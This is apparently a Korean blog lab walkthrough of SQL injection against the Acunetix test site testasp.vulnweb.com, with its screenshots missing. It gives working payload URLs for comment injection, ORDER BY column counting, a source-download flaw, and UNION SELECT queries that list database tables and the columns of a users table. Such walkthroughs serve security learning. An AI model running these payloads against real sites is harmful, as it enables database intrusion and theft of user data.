[SQL Injection] TestASP 취약점 테스트

 TestASP 취약점 테스트 







웹스캐너 테스트 사이트중 하나인 TESTASP에 존재하는 취약점을 이용하여 SQL 인젝션 테스트를 진행해 보겠습니다 . 

앞서 실습을 진행한 TESTPHP는 MySQL 이지만 이 사이트는 상이한 데이터베이스를 사용하고 있습니다. 

접속한 첫페이지는 다음과 같습니다 . 

















Forums의 Acunetix Web Vulnerability Scanner, Weather, Miscellaneous에서 SQL 인젝션에 가장 적합한 페이지 입니다 . 






 Acunetix Web Vulnerability Scanner 페이지 




















싱글쿼터를 삽입하여 취약점이 존재하는지 확인합니다 . 












주입 결과 500에러가 발생했습니다 . 

HTTP STAUTUS 코드에서 500은 웹 서버에서 발생한 에러로 서버 스크립트 또는 사이트 사용량 폭주 등이 대표적입니다 . 

사이트 사용량 과다로 오류가 발생했다면 처음부터 사이트에 접속이 되지 않았을 것입니다 .
따라서 서버스크립트 에러가 발생한 것으로 보입니다 . 







에러가 발생하지 않도록 id 파라미터에 주석 처리문을 주입합니다 .

http://testasp.vulnweb.com/showforum.asp?id=0--

















정상적으로 페이지가 표시됩니다 . 

주입한 주석처리 구문으로 인해서 SQL 구문에 에러 없이 정상적으로 동작했다는 것을 알 수 있습니다 . 

이전 처럼 컬럼 개수를 확인해 보겠습니다 . 







컬럼 개수 확인 

페이지 노출된 4개의 항목을 통해서 최소 4개 이상의 컬럼이 존재 한다고 예상할 수 있습니다 . 
Order by 절을 이용하여 컬럼을 확인합니다.

http://testasp.vulnweb.com/showforum.asp?id=0+order+by+4--

































2,3 을 추가로 테스트한 결과 컬럼이 2개임을 알 수 있다 . 






데이터 타입 확인 

에러 메세지로는 DB 종류 확인이 불가하기 때문에 null을 이용하여 데이터 타입을 확인합니다 . 


http://testasp.vulnweb.com/showforum.asp?id=0+union+select+null,null--











동일한 에러가 발생합니다 . 
unison 기반 SQL 인젝션은 불가능한 것으로 판단되며 이러한 경우에는 다른 방식의 공격기법이 필요합니다 . 
해당사이트의 소스코드를 다운로드를 받아 원인 분석을 해보겠습니다 . 

이 웹사이트에서 다운로드 취약점은 abount 메뉴의 URL에서 발생합니다 . 

http://testasp.vulnweb.com/Templatize.asp?item=showforum.asp




















밑줄친 행을 보면 forums 테이블에서 name과 descr 컬럼의 데이터를 조회합니다 .




















그러나 아래 구문에서도 thread 테이블 조회에 id 파라미터 값을 사용합니다 . 
결국 해당 파라미터는 다중의 쿼리 생성에 사용됩니다 . 

앞의 조회문 컬럼의 개수가 2개 지만 두 번째 쿼리는 3개로 모두 만족하는 쿼리문 주입은 불가능합니다 .

여기서 search 메뉴에서 union 기반 공격이 가능 하다는 것을 소스코드 다운로드 취약점을 이용해 확인했습니다 . 




http://testasp.vulnweb.com/Templatize.asp?item=search.asp























다음 구문에서 SQL 쿼리 구문의 2군데에 삽입됩니다 . 








where 절에서 두번째 AND 연산자 다음에 CHARINDEX에서 OR 조건으로 0보다 큰지 비교합니다 . 
UNION 기반 SQL 인젝션 공격을 위해 첫번째 CHARINDEX의 함수를 에러 없이 종료 시켜야 합니다 . 





첫번째 함수에 )>0 을 삽입하고 두번째 함수는 주석처리합니다 . 

http://testasp.vulnweb.com/Search.asp?tfSearch=%27)%3E0)--


















실행 결과 정상적인 페이지가 표시됩니다 . 





컬럼 개수 확인하기

asp는 윈도우 ISS 웹 서버에서 사용하는 확장자로 데이터 베이스는 MSSQL DB와 연동하는 경우가 많습니다 . 

DB의 연결정보가 저장되어 있는 db.asp 파일의 소스코드를 확인하면 MSSQL 서버인것을 명확하게 알 수 있습니다 . 

MSSQL 서버도 숫자형 데이터를 문자와 날짜형으로 묵시적 형 변환을 제공하기 때문에 null 대신 1부터 10까지 숫자를 대입하여 데이터가 노출되는 위치를 확인합니다 .  



http://testasp.vulnweb.com/Search.asp?tfSearch=%27)%3E0)+union+select+1,2,3,4,5,6,7,8,9,10--





















2,3,9,10 번 위치의 데이터가 화면에 노출되며 데이터 획득은 3번 위치를 이용합니다 . 


데이터 칼럼을 획득하기 

http://testasp.vulnweb.com/Search.asp?tfSearch=%27)%3E0)+union+select+1,2,table_name,4,5,6,7,8,9,10+from+information_schema.tables--



















이어서 users 테이블의 컬럼 정보를 " information_schema.columns 객체를 이용하여 조회합니다. 

http://testasp.vulnweb.com/Search.asp?tfSearch=%27)%3E0)+union+select+1,2,column_name,4,5,6,7,8,9,10+from+information_schema.columns+where+table_name=%27users%27--



























댓글